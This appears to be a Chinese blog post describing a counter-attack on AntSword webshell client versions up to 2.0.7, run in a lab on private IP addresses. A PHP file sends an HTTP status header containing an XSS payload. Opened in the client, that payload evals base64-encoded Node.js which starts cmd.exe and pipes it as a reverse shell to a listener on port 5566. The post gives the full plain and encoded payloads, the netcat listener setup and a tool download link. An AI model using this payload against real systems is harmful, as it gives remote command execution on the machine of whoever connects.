蚁剑低版本反制

╰+攻爆jí腚メ 2024-05-23 14:17 58阅读 0赞

### 蚁剑低版本反制 ###

#### 漏洞概述 ####

中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

#### 影响范围 ####

AntSword <=2.0.7

蚁剑实验版本：2.0.7

#### 环境搭建： ####

172.16.1.233（蓝队服务器）（kali）

172.16.1.235（红队）（win10）

172.16.1.184（蓝队反制）(win10)

#### 反制过程： ####

**漏洞：**

<?php
    header('HTTP/1.1 500 <img src=# onerror=alert(1)>');

**利用：**

在 Node.js 中提供了一个 net.Socket 对象，用于方便调用底层 Socket 接口，实现数据传输的功能。net.Socket 既可以读也可以写，这个 client 建立 socket 链接，实现了将对方 cmd.exe 的标准输入输出与标准错误流转发到受害者自己的 ip:5566端口上。

var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(5566, "172.16.1.184", function(){
        client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);})

将上面 base64 编码完成的内容放进 Buffer 函数中

组合后payload：

编码前

<?php
    header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(5566, "172.16.1.184", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});`,`base64`).toString())'>")

完整payload：

<?php
    header("HTTP/1.1 500 Not <img src=# οnerrοr='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7IHZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOyBjbGllbnQuY29ubmVjdCg1NTY2LCAiMTcyLjE2LjEuMTg0IiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==`,`base64`).toString())'>");

将红队的木马替换成我们的反制木马

蓝队服务器我用的kali

开启apache服务命令： service apache2 start

![在这里插入图片描述][c56b497eba4e40c1af4084904676ddbb.png]

172.16.1.184（蓝队反制）NC开启监听：

![图片][6c0e385b975f4928b92d26562e21cdb2.png]

172.16.1.235（红队）使用蚁剑连接：

![图片][773623cb54c2421bb221310ada37cb50.png]

172.16.1.184（蓝队反制）接到红队shell

![图片][44e2563aa0ab4d3fa9a1150aec33d32d.png]

蚁剑和nc下载：

链接：https://pan.baidu.com/s/1OBWFSPz38pUpnKMz09FUyQ 
    提取码：joyb

[c56b497eba4e40c1af4084904676ddbb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/860244eda33d483da171a3618a191d4c.png
[6c0e385b975f4928b92d26562e21cdb2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/705ec2856c8e4cfd85dd50e74a7be143.png
[773623cb54c2421bb221310ada37cb50.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/38a14512a6f34f4894b9cf23ac68fc9a.png
[44e2563aa0ab4d3fa9a1150aec33d32d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/ac2d6b4d0dfd41c2b4c981faddc1a98c.png